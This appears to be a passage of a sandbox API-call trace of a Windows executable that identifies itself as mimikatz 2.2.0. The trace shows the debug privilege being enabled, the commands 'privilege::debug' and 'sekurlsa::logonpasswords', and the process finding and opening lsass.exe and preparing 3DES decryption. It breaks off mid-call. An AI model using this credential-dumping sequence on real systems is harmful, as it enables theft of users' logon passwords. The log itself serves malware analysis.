lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0061.310] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f160, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0061.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f7a0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿðS\x1b", lpUsedDefaultChar=0x0) returned 256 [0061.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f6a0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f6a0, cbMultiByte=256, lpWideCharStr=0x12f370, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0061.310] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0061.310] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f160, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0061.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12f8a0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0061.319] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x100) returned 0x1b53f0 [0061.319] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1400df4d0, nSize=0x104 | out: lpFilename="C:\\Users\\All Users\\mmkt.exe" (normalized: "c:\\users\\all users\\mmkt.exe")) returned 0x1b [0061.319] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x48) returned 0x1c4070 [0061.319] RtlInitializeSListHead (in: ListHead=0x1400df2f0 | out: ListHead=0x1400df2f0) [0061.319] GetLastError () returned 0x0 [0061.319] SetLastError (dwErrCode=0x0) [0061.319] GetEnvironmentStringsW () returned 0x1d3400* [0061.319] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0xa7c) returned 0x1d3e90 [0061.340] FreeEnvironmentStringsW (penv=0x1d3400) returned 1 [0061.340] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x128) returned 0x1d4920 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3e) returned 0x1c40c0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x6c) returned 0x1c1860 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x62) returned 0x1c8d40 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x78) returned 0x1c18e0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x62) returned 0x1c8db0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2e) returned 0x1d2d80 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x48) returned 0x1c4110 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x28) returned 0x1cbbf0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1a) returned 0x1cbc20 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x4a) returned 0x1cb3b0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x72) returned 0x1c1960 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x30) returned 0x1d4a80 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2e) returned 0x1d4ac0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1c) returned 0x1cbc50 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0xd2) returned 0x1d5a50 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x7c) returned 0x1d5b30 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3a) returned 0x1c4160 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x90) returned 0x1d5bc0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x24) returned 0x1cbc80 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x30) returned 0x1d4b00 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x36) returned 0x1d4b40 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3c) returned 0x1c41b0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x52) returned 0x1d5c60 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3c) returned 0x1c4200 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x82) returned 0x1d5cc0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2e) returned 0x1d4b80 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1e) returned 0x1cbcb0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2c) returned 0x1d4bc0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x54) returned 0x1d5d50 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x52) returned 0x1d5db0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x2a) returned 0x1d4c00 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3c) returned 0x1c4250 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x54) returned 0x1d5e10 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x24) returned 0x1cbce0 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x30) returned 0x1d4c40 [0061.341] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x8c) returned 0x1d5e70 [0061.342] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1d3e90 | out: hHeap=0x1a0000) returned 1 [0061.346] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1000) returned 0x1d3400 [0061.351] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140082b24) returned 0x0 [0061.377] GetConsoleOutputCP () returned 0x1b5 [0061.378] SetConsoleOutputCP (wCodePageID=0xfde9) returned 1 [0061.380] SetConsoleTitleW (lpConsoleTitle="mimikatz 2.2.0 x64 (oe.eo)") returned 1 [0061.381] SetConsoleCtrlHandler (HandlerRoutine=0x14005672c, Add=1) returned 1 [0061.417] RtlGetNtVersionNumbers () returned 0x1 [0061.418] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0061.430] ASN1_CreateModule () returned 0x1d52c0 [0061.431] ASN1_CreateEncoder () returned 0x0 [0061.431] ASN1_CreateDecoder () returned 0x0 [0061.435] LoadLibraryW (lpLibFileName="rsaenh") returned 0x7fefc680000 [0061.472] GetProcAddress (hModule=0x7fefc680000, lpProcName="CPExportKey") returned 0x7fefc6859e8 [0061.477] LsaConnectUntrusted (in: LsaHandle=0x1400e06c0 | out: LsaHandle=0x1400e06c0*=0x1cc040) returned 0x0 [0061.502] LsaLookupAuthenticationPackage (in: LsaHandle=0x1cc040, PackageName=0x1400da100, AuthenticationPackage=0x1400e06cc | out: AuthenticationPackage=0x1400e06cc) returned 0x0 [0061.507] LoadLibraryW (lpLibFileName="vaultcli") returned 0x7fef7750000 [0061.614] GetProcAddress (hModule=0x7fef7750000, lpProcName="VaultEnumerateItemTypes") returned 0x7fef7754b60 [0061.614] GetProcAddress (hModule=0x7fef7750000, lpProcName="VaultEnumerateVaults") returned 0x7fef775468c [0061.614] GetProcAddress (hModule=0x7fef7750000, lpProcName="VaultOpenVault") returned 0x7fef7754274 [0061.614] GetProcAddress (hModule=0x7fef7750000, lpProcName="VaultGetInformation") returned 0x7fef7753fb0 [0061.614] GetProcAddress (hModule=0x7fef7750000, lpProcName="VaultEnumerateItems") returned 0x7fef77550d4 [0061.615] GetProcAddress (hModule=0x7fef7750000, lpProcName="VaultCloseVault") returned 0x7fef77542fc [0061.615] GetProcAddress (hModule=0x7fef7750000, lpProcName="VaultFree") returned 0x7fef775626c [0061.615] GetProcAddress (hModule=0x7fef7750000, lpProcName="VaultGetItem") returned 0x7fef7755370 [0061.615] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0061.615] HidD_GetHidGuid () returned 0x12fe88 [0061.615] SetupDiGetClassDevsW (ClassGuid=0x12fe10*(Data1=0x4d1e55b2, Data2=0xf16f, Data3=0x11cf, Data4=([0]=0x88, [1]=0xcb, [2]=0x0, [3]=0x11, [4]=0x11, [5]=0x0, [6]=0x0, [7]=0x30)), Enumerator=0x0, hwndParent=0x0, Flags=0x12) returned 0x1dd950 [0061.622] SetupDiEnumDeviceInterfaces (in: DeviceInfoSet=0x1dd950, DeviceInfoData=0x0, InterfaceClassGuid=0x12fe10*(Data1=0x4d1e55b2, Data2=0xf16f, Data3=0x11cf, Data4=([0]=0x88, [1]=0xcb, [2]=0x0, [3]=0x11, [4]=0x11, [5]=0x0, [6]=0x0, [7]=0x30)), MemberIndex=0x0, DeviceInterfaceData=0x12fe20 | out: DeviceInterfaceData=0x12fe20) returned 1 [0061.622] SetupDiGetDeviceInterfaceDetailW (in: DeviceInfoSet=0x1dd950, DeviceInterfaceData=0x12fe20, DeviceInterfaceDetailData=0x0, DeviceInterfaceDetailDataSize=0x0, RequiredSize=0x12fea0, DeviceInfoData=0x0 | out: DeviceInterfaceDetailData=0x0, RequiredSize=0x12fea0, DeviceInfoData=0x0) returned 0 [0061.622] GetLastError () returned 0x7a [0061.622] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x1ec1a0 [0061.622] SetupDiGetDeviceInterfaceDetailW (in: DeviceInfoSet=0x1dd950, DeviceInterfaceData=0x12fe20, DeviceInterfaceDetailData=0x1ec1a0, DeviceInterfaceDetailDataSize=0xaa, RequiredSize=0x12fea0, DeviceInfoData=0x0 | out: DeviceInterfaceDetailData=0x1ec1a0, RequiredSize=0x12fea0, DeviceInfoData=0x0) returned 1 [0061.622] CreateFileW (lpFileName="\\\\?\\hid#vid_045e&pid_0029#6&2c5e45b2&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030}" (normalized: "\\device\\00000051"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0061.623] HidD_GetAttributes () returned 0x1 [0061.623] CloseHandle (hObject=0x134) returned 1 [0061.623] LocalFree (hMem=0x1ec1a0) returned 0x0 [0061.623] SetupDiEnumDeviceInterfaces (in: DeviceInfoSet=0x1dd950, DeviceInfoData=0x0, InterfaceClassGuid=0x12fe10*(Data1=0x4d1e55b2, Data2=0xf16f, Data3=0x11cf, Data4=([0]=0x88, [1]=0xcb, [2]=0x0, [3]=0x11, [4]=0x11, [5]=0x0, [6]=0x0, [7]=0x30)), MemberIndex=0x1, DeviceInterfaceData=0x12fe20 | out: DeviceInterfaceData=0x12fe20) returned 1 [0061.623] SetupDiGetDeviceInterfaceDetailW (in: DeviceInfoSet=0x1dd950, DeviceInterfaceData=0x12fe20, DeviceInterfaceDetailData=0x0, DeviceInterfaceDetailDataSize=0x0, RequiredSize=0x12fea0, DeviceInfoData=0x0 | out: DeviceInterfaceDetailData=0x0, RequiredSize=0x12fea0, DeviceInfoData=0x0) returned 0 [0061.623] GetLastError () returned 0x7a [0061.623] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x1ec1a0 [0061.623] SetupDiGetDeviceInterfaceDetailW (in: DeviceInfoSet=0x1dd950, DeviceInterfaceData=0x12fe20, DeviceInterfaceDetailData=0x1ec1a0, DeviceInterfaceDetailDataSize=0xaa, RequiredSize=0x12fea0, DeviceInfoData=0x0 | out: DeviceInterfaceDetailData=0x1ec1a0, RequiredSize=0x12fea0, DeviceInfoData=0x0) returned 1 [0061.623] CreateFileW (lpFileName="\\\\?\\hid#vid_08c3&pid_0003#6&2a21bbea&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030}" (normalized: "\\device\\00000052"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0061.624] HidD_GetAttributes () returned 0x1 [0061.624] CloseHandle (hObject=0x134) returned 1 [0061.624] LocalFree (hMem=0x1ec1a0) returned 0x0 [0061.624] SetupDiEnumDeviceInterfaces (in: DeviceInfoSet=0x1dd950, DeviceInfoData=0x0, InterfaceClassGuid=0x12fe10*(Data1=0x4d1e55b2, Data2=0xf16f, Data3=0x11cf, Data4=([0]=0x88, [1]=0xcb, [2]=0x0, [3]=0x11, [4]=0x11, [5]=0x0, [6]=0x0, [7]=0x30)), MemberIndex=0x2, DeviceInterfaceData=0x12fe20 | out: DeviceInterfaceData=0x12fe20) returned 0 [0061.624] SetupDiDestroyDeviceInfoList (DeviceInfoSet=0x1dd950) returned 1 [0061.905] ExpandEnvironmentStringsW (in: lpSrc="privilege::debug", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x11 [0061.905] LocalAlloc (uFlags=0x40, uBytes=0x22) returned 0x1edfe0 [0061.905] ExpandEnvironmentStringsW (in: lpSrc="privilege::debug", lpDst=0x1edfe0, nSize=0x11 | out: lpDst="privilege::debug") returned 0x11 [0061.905] CommandLineToArgvW (in: lpCmdLine="privilege::debug", pNumArgs=0x12fed0 | out: pNumArgs=0x12fed0) returned 0x1eae80*="privilege::debug" [0061.910] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d03c0 [0061.916] RtlAdjustPrivilege (in: Privilege=0x14, NewValue=1, ForThread=0, OldValue=0x12fe60 | out: OldValue=0x12fe60) returned 0x0 [0061.948] LocalFree (hMem=0x1d03c0) returned 0x0 [0061.948] LocalFree (hMem=0x1eae80) returned 0x0 [0061.948] LocalFree (hMem=0x1edfe0) returned 0x0 [0061.948] ExpandEnvironmentStringsW (in: lpSrc="sekurlsa::logonpasswords", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x19 [0061.948] LocalAlloc (uFlags=0x40, uBytes=0x32) returned 0x1eae80 [0061.948] ExpandEnvironmentStringsW (in: lpSrc="sekurlsa::logonpasswords", lpDst=0x1eae80, nSize=0x19 | out: lpDst="sekurlsa::logonpasswords") returned 0x19 [0061.949] CommandLineToArgvW (in: lpCmdLine="sekurlsa::logonpasswords", pNumArgs=0x12fed0 | out: pNumArgs=0x12fed0) returned 0x1c43e0*="sekurlsa::logonpasswords" [0061.949] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x1d03c0 [0061.955] RtlInitUnicodeString (in: DestinationString=0x12fc80, SourceString="lsass.exe" | out: DestinationString="lsass.exe") [0061.955] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x1df0d0 [0061.955] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1df0d0, Length=0x1000, ResultLength=0x12fc38 | out: SystemInformation=0x1df0d0, ResultLength=0x12fc38*=0x2e007400011138) returned 0xc0000004 [0061.956] LocalFree (hMem=0x1df0d0) returned 0x0 [0061.956] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x1df0d0 [0061.956] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1df0d0, Length=0x2000, ResultLength=0x12fc38 | out: SystemInformation=0x1df0d0, ResultLength=0x12fc38*=0x2e007400011138) returned 0xc0000004 [0061.956] LocalFree (hMem=0x1df0d0) returned 0x0 [0061.956] LocalAlloc (uFlags=0x40, uBytes=0x4000) returned 0x1df0d0 [0061.956] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1df0d0, Length=0x4000, ResultLength=0x12fc38 | out: SystemInformation=0x1df0d0, ResultLength=0x12fc38*=0x2e007400011138) returned 0xc0000004 [0061.956] LocalFree (hMem=0x1df0d0) returned 0x0 [0061.956] LocalAlloc (uFlags=0x40, uBytes=0x8000) returned 0x1df0d0 [0061.956] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1df0d0, Length=0x8000, ResultLength=0x12fc38 | out: SystemInformation=0x1df0d0, ResultLength=0x12fc38*=0x2e007400011138) returned 0xc0000004 [0061.957] LocalFree (hMem=0x1df0d0) returned 0x0 [0061.957] LocalAlloc (uFlags=0x40, uBytes=0x10000) returned 0x1f0750 [0061.958] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1f0750, Length=0x10000, ResultLength=0x12fc38 | out: SystemInformation=0x1f0750, ResultLength=0x12fc38*=0x2e007400011138) returned 0xc0000004 [0061.958] LocalFree (hMem=0x1f0750) returned 0x0 [0061.958] LocalAlloc (uFlags=0x40, uBytes=0x20000) returned 0x1f0750 [0061.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1f0750, Length=0x20000, ResultLength=0x12fc38 | out: SystemInformation=0x1f0750, ResultLength=0x12fc38*=0x2e007400011138) returned 0x0 [0061.960] RtlEqualUnicodeString (String1=0x1f0788, String2="lsass.exe", CaseInsensitive=1) returned 0 [0061.960] RtlEqualUnicodeString (String1="System", String2="lsass.exe", CaseInsensitive=1) returned 0 [0061.960] RtlEqualUnicodeString (String1="smss.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0061.960] RtlEqualUnicodeString (String1="csrss.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0061.960] RtlEqualUnicodeString (String1="wininit.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0061.960] RtlEqualUnicodeString (String1="csrss.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0061.960] RtlEqualUnicodeString (String1="winlogon.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0061.960] RtlEqualUnicodeString (String1="services.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0061.960] RtlEqualUnicodeString (String1="lsass.exe", String2="lsass.exe", CaseInsensitive=1) returned 1 [0061.960] LocalFree (hMem=0x1f0750) returned 0x0 [0061.960] OpenProcess (dwDesiredAccess=0x1010, bInheritHandle=0, dwProcessId=0x1e0) returned 0x118 [0061.960] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x1d03e0 [0061.964] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x1cb430 [0061.973] LoadLibraryExA (lpLibFileName="bcrypt.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefcaf0000 [0062.052] GetProcAddress (hModule=0x7fefcaf0000, lpProcName="BCryptOpenAlgorithmProvider") returned 0x7fefcaf2640 [0062.052] BCryptOpenAlgorithmProvider (in: phAlgorithm=0x1400e0c00, pszAlgId="3DES", pszImplementation=0x0, dwFlags=0x0 | out: phAlgorithm=0x1400e0c00) returned 0x0 [0062.111] GetProcAddress (hModule=0x7fefcaf0000, lpProcName="BCryptSetProperty") returned 0x7fefcaf5160 [0062.111] BCryptSetProperty (in: hObject=0x1dd950, pszProperty="ChainingMode", 